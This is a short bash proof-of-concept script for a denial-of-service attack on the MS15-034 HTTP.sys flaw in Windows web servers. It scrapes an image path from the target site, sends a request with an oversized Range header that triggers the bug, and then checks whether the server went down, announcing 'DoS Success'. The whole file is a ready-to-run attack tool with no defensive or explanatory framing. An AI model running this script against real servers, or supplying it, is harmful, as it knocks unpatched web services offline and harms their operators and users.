ms15-034 bash DoS PoC

#!/bin/bash

command="wget -q -O"
targethost=$1
echo "Trying to connect to $targethost"
$command /dev/null http://$targethost && echo "connected !!!!" || echo "Fail"
echo "Trying to get some image"
firstimage=`$command - http://$targethost | grep "img src=" | sed 's/.*img src=\(.*\.png\).*/\1/g' | head -n 1 | xargs`
echo "Trying to send a DoS code with this http://$targethost$firstimage"
$command /dev/null http://$targethost$firstimage && $command /dev/null --header "Range: bytes=18-18446744073709551615" http://$targethost$firstimage
echo "Waiting some seconds"
sleep 5
echo "Testing if DoS code worked"
$command /dev/null http://$targethost && echo "DoS Fail :( " || echo "DoS Success !!!"